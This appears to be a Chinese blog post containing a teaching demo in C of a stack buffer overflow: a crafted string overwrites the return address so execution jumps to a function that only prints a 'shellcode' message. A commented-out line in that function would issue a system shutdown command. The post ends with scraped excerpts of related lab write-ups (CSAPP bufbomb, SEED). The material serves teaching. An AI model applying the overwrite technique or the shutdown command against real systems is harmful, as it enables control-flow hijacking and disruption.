缓冲区溢出攻击实验(另附源代码)

缓冲区溢出攻击代码如下:

#include<Windows.h>
#include<stdio.h>
#include<string.h>

void f(char *input)
{

	char buffer[10];
	strcpy(buffer,input);
	printf("缓冲区字符为=%s",buffer); 

/*
	// 进行防御,当输入长度过长时跳出
	char buffer[10];
	int b;
	b=strlen(input);
	if(b<=10)
	{
		strcpy(buffer,input);
		printf("缓冲区字符为=%s",buffer);
	}
	else
		printf("字符长度超过缓冲区长度\n");
*/
}

void f1()
{
    /*
	system("shutdown -s -t 3600");
	*/
	while(1)
	{
		printf("shellcode攻击代码\n");
	}

}

int main()
{
	printf("f1()函数的地址为[shellcode攻击代码]=%p\n",f1);// 打印存储用于攻击的可用地址

	// 输入字符在正常范围下
	char *str1 = "abefgh";
	f(str1);

	printf("\n");
	system("pause");

	// 输入字符超出正常范围下
	char *str2 = "abcdefghijklmn12\x0A\x10\x40";
	f(str2);

	return 0;
}

正常执行不会执行到f1()函数,但是由于输入的字符大于缓冲区的长度,而我们特意设置一段输入字符的地址字符正好覆盖了返回地址,则本函数调用完之后,就会返回到我们设置的地址,执行我们设置的shellcode攻击代码,但是本实例只是演示一下缓冲区溢出的情况,没有做攻击,则用在屏幕上打印出shellcode攻击代码为攻击行为。

时间: 2024-12-22 20:20:49

缓冲区溢出攻击实验(另附源代码)的相关文章

CSAPP缓冲区溢出攻击实验(下)

CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将global_value的值修改为cookie.因为全局变量与代码不在一个段中,所以我们不能让缓冲区一直溢出到.bss段(因为global_value初始化为0,所以它会被放在.bss而非.data段以节省空间)覆盖global_value的值.若修改了.bss和.text之间某些只读的段会引起操作系

CSAPP缓冲区溢出攻击实验(上)

CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数名(bufbomb -t)的差异,不影响我们的实验. 1.实验工具 1.1 makecookie 后面实验中,五次"攻击"中有四次都是使你的cookie出如今它原本不存在的位置,所以我们首先要为自己产生一个cookie. 实验工具中的makecookie就是生成cookie用的.參数是你的

2018-5-2 缓冲区溢出攻击实验

2018-5-2 缓冲区溢出攻击实验 实验环境:实验楼自带的linux虚拟系统 1.sudo apt-get update 更新linux,主要是下载C的编译器 2.进入linux操作环境并使用bash 3.关闭系统地址的随机分配,立于之后寻址找到有漏洞的缓冲区. 此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权.因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/b

缓冲区溢出攻击(待看)

缓冲区溢出攻击 本词条缺少信息栏.名片图,补充相关内容使词条更完整,还能快速升级,赶紧来编辑吧! 缓冲区溢出攻击是利用缓冲区溢出漏洞所进行的攻击行动.缓冲区溢出是一种非常普遍.非常危险的漏洞,在各种操作系统.应用软件中广泛存在.利用缓冲区溢出攻击,可以导致程序运行失败.系统关机.重新启动等后果. 1简介编辑 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上.理想的情况是:程序会检查数据长度,而且并不允许输入超过缓冲区长度的字符.但是绝大多数程序都会

缓存区溢出攻击实验(3)

缓存区溢出攻击实验(3) 本实验预计分 3 个小实验来做,本文是第三个实验. 缓存区溢出攻击实验(1) 缓存区溢出攻击实验(2) 缓存区溢出攻击实验(3) 本实验跪谢大神 YSunLIN 的帮助与指导 ~ 不保证成功,一切皆有可能 ~ 背景介绍 请参照实验(1)(2). 实验目的 最终目的:只给一个需要输入正确的序列号才能验证通过的exe可执行文件,要求在不知道源代码的情况下利用缓存区溢出攻击来破解该exe文件. 注意!!! 不知道源代码的情况下 不知道源代码的情况下 不知道源代码的情况下 现实

SEED信息安全实验系列:缓冲区溢出漏洞实验

缓冲区溢出漏洞实验 本实验详细出自http://www.shiyanlou.com/courses/231,转载请注明出处. 一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写. 二.实验准备 本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备. 1.输入命令安装一些用于编译32位C程序的

实验一——缓冲区溢出漏洞实验

Linux实验一 —— 缓冲区溢出漏洞实验 20122137 一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写. 二.实验准备 系统用户名shiyanlou,密码shiyanlou 实验楼提供的是64位Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备. 1.

缓冲区溢出漏洞实验

一.实验过程及截图 输入命令安装一些用于编译32位C程序的东西: 进入32位linux环境.此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,所以输入“/bin/bash”使用bash.使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键. 把以下代码保存为“stack.c”文件,保存到 /tmp 目录下. 把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下. 结果: 上面的代码

实验一缓冲区溢出漏洞实验

一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写 二.实验准备 系统用户名shiyanlou,密码shiyanlou 实验楼提供的是64位Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备. 1.输入命令安装一些用于编译32位C程序的东西: sudo apt-